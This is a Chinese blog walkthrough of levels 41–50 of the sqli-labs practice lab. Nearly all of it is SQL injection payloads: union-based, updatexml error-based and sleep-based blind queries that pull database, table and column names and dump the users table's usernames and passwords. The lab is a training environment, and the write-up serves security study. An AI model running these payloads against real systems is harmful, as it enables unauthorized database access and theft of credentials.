首页 > 数据库 >sqli-labs通关(41- )

sqli-labs通关(41- )

时间:2024-08-30 10:51:23浏览次数:7  
标签:users name 41 labs sqli concat table select schema

第四十一关

1、判断闭合和列数

整数闭合,共有3列

2、查看数据库名

?id=-1 union select 1,database() --+

3、查看数据表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

4、查看users字段名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and  table_name='users' --+

5、查看users表内容

?id=-1 union select 1,2,group_concat(username ,id , password) from users --+

第四十二关

1、登录页面,尝试查看回显位置

2、查看数据库名

1' union select 1,database(),3 #

3、查看数据表名

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

 

4、查看users字段名

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

5、查看users表中内容

1' union select 1,group_concat(username,password),3 from users # 

 

第四十三关

1、判断闭合和列数

输入1'),闭合成功,查看 1') order by 3 查看列数,共有三列

2、查看数据库名

1') union select 1,database(),3 #

3、查看数据表名

1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

4、查看users字段名

1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

 

5、查看users表内容

1') union select 1,group_concat(username,password),3 from users #

第四十四关

1、判断闭合和列数,查看回显点

1' union select 1,2,3 #,是' 闭合,共有三列

2、查看数据库名

1' union select 1,database(),3 #

3、查看数据表名

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

4、查看users字段名

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

5、查看users表内容

1' union select 1,group_concat(username,password),3 from users # 

第四十五关

1、判断闭合和列数,查看回显点

输入1'),闭合成功,查看 1') union select 1,2,3# 查看列数,共有三列

2、查看数据库名

1') union select 1,database(),3 #

3、查看数据表名

1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

4、查看users字段名

1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

5、查看users表内容

1') union select 1,group_concat(username,password),3 from users #

 第四十六关

1、判断闭合

发现有报错,尝试报错注入 是整数型闭合

2、查看数据库名

?sort=1 and updatexml(1,concat(1,database()),1)--+

3、查看数据表名

?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

4、查看users字段名

?sort=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

 

5、查看users表内容

依次查看用户名和密码 

?sort=1 and updatexml(1,concat(1,(select username from users limit 0,1)),1)--+

 第四十七关

1、判断闭合

' 闭合,尝试报错注入

2、查看数据库名

?sort=1' and updatexml(1,concat(1,database()),1)--+

3、查看数据表名

?sort=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

4、查看users字段名

?sort=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

5、查看users表内容

依次查看用户名和密码 

?sort=1' and updatexml(1,concat(1,(select username from users limit 0,1)),1)--+

 第四十八关

1、判断闭合和列数

发现没有报错,没有回显,尝试时间盲注,整数型闭合

2、判断数据库名长度

?sort=1 and if(length((select database()))>8,sleep(3),1)--+

3、判断数据库名的ascii值

?sort=1 and if(ascii(substr((select database()),1,1))>114,sleep(3),1) --+ 

 

4、判断数据表名长度

?sort=1 and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28,sleep(3),1)--+

 

5、判断数据表名的ascii值

?sort=1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100,sleep(3),1)--+
 

                      

6、判断users字段名长度

?sort=1 and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>19,sleep(3),1)--+

7、判断users表字段的ascii值

?sort=1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>105,sleep(3),1)--+

8、判断users表内容字符长度

?sort=1 and if(length((select group_concat(username,password) from users))>189,sleep(3),1)--+

9、判断users表内容的ascii值

?sort=1 and if(ascii(substr((select group_concat(username,password) from users),1,1))>68,sleep(3),1)--+

 第四十九关

1、判断闭合和列数

发现没有报错,没有回显,尝试时间盲注, ’ 闭合

2、判断数据库名长度

3、判断数据库名的ascii值

?sort=1' and if(ascii(substr((select database()),1,1))>114,sleep(3),1) --+ 

4、判断数据表名长度

?sort=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28,sleep(3),1)--+

5、判断数据表名的ascii值

?sort=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100,sleep(3),1)--+

6、判断users字段名长度

?sort=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>19,sleep(3),1)--+

7、判断users表字段的ascii值

?sort=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>105,sleep(3),1)--+

8、判断users表内容字符长度

?sort=1' and if(length((select group_concat(username,password) from users))>189,sleep(3),1)--+

9、判断users表内容的ascii值

?sort=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>68,sleep(3),1)--+

 第五十关

1、判断闭合和列数,查看回显点

整数型闭合,有报错,尝试报错注入

2、查看数据库名

?sort=1 and updatexml(1,concat(1,database()),1)--+

3、查看数据表名

?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

4、查看users字段名

?sort=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

5、查看users表内容

依次查看用户名和密码 

?sort=1 and updatexml(1,concat(1,(select username from users limit 0,1)),1)--+

标签:users,name,41,labs,sqli,concat,table,select,schema
From: https://blog.csdn.net/m0_73771249/article/details/141652586

相关文章

  • P9041 [PA2021] Fiolki 2
    简要题意可以去看其他题解。前置知识:LGV引理。看到这道题我们先考虑该怎么判定\(f(l,r)\)是否等于\(x\)。看完题面后很难不让人想到LGV引理(不相交路径,起点集\(S\)和终点集\(T\))。但是LGV引理是用于计数的,放在这里似乎并不好用。但是我们可以注意到,只要没有合法情况,......
  • sqli-labs靶场通关攻略(41-60)
    第四十一关联合查询爆出数据库但这关考察的时堆叠注入,我们给他注入一条数据输入id=50即可查到我们注入的数据 第四十二关看页面似曾相识,上次我们是用注册新用户然后对其他账户进行登录从而造成注入,但这次不能注册新用户了存在堆叠注入函数,所以我们可以在密码哪里......
  • AGC041D Problem Scores 题解
    在分值不降的条件下,要使任意一个大小为\(k\)的子集\(S\)内题目的分值之和少于任意一个大小为\(k+1\)的子集\(T\)内题目的分值之和,容易发现只需要取\(S\)为后\(k\)道题目,\(T\)为前\(k+1\)道题目时满足限制即可。换而言之,只需要对满足\(a\)的每一段长为\(k+......
  • sqlite3数据库
    sqlits3数据库名,创建一个数据库,并打开,有点像vim.headerson  .modecolumn可以让输出的更美观一点  //打开一个数据库文件  ret=sqlite3_open("student.db",&pDb);  if(ret!=SQLITE_OK){    fprintf(stderr,"sqlite3_openfailed!:%s\n",......
  • ASP.NET Core 入门教程三 结合 EFCore 和 SQLite
    ASP.NETCore是一个开源的Web框架,它允许开发者轻松地构建现代、高性能的Web应用程序。EntityFrameworkCore(EFCore)是一个轻量级、可扩展的ORM(对象关系映射)框架,它支持多种数据库。SQLite是一个轻量级的嵌入式数据库,适用于小型应用程序。在本篇文章中,我们将学习如何......
  • sqlite3使用记录
    参考资源SQLite简介|菜鸟教程(runoob.com)Ubuntu下sqlite3的安装及使用安装步骤安装:sudoapt-getinstallsqlite3查看版本:sqlite-version安装Sqlite3编译需要的工具包:sudoapt-getinstalllibsqlite3-dev语法说明注意(1)sqlite语法忽略大小写的区别,除了GLOB等......
  • sqli-labs靶场通关攻略(41-50)
    Less-41 步骤一:查看数据库名?id=-1unionselect1,2,database()--+步骤二:查看表名?id=-1unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema=database()--+步骤三:查看users表中列名?id=-1unionselect1,group_concat(......
  • phpinclude-labs做题记录
    Level1file协议payload:?wrappers=/flagLevel2data协议去包含data协议中的内容其实相当于进行了一次远程包含,所以data协议的利用条件需要php.ini中开启allow_url_fopen和allow_url_includeGET:?wrappers=,然后POST:helloctf=system('cat/flag');Level3data......
  • 洛谷P4163[SCOI2007]排列
    洛谷P4163[SCOI2007]排列题意给一个数字串\(s\)和正整数\(d\),统计\(s\)有多少种不同的排列能被\(d\)整除(可以有前导\(0\))。思路考虑状压dp。\(dp_{S,k}\)表示当前已经选定了\(S\)集合(下标)的数,模\(d=k\)的方案数。状态转移方程:\[dp_{S|2^j,(k\times10+s_j)......
  • sql-labs36-40通关攻略
    第36关一.判断闭合点http://127.0.0.1/Less-36/?id=1%df%20--+http://127.0.0.1/Less-36/?id=1%df%20--+二.查询数据库http://127.0.0.1/Less-36/?id=-1%df%27%20union%20select%201,database(),3--+http://127.0.0.1/Less-36/?id=-1%df%27%20union%20select%201,database(......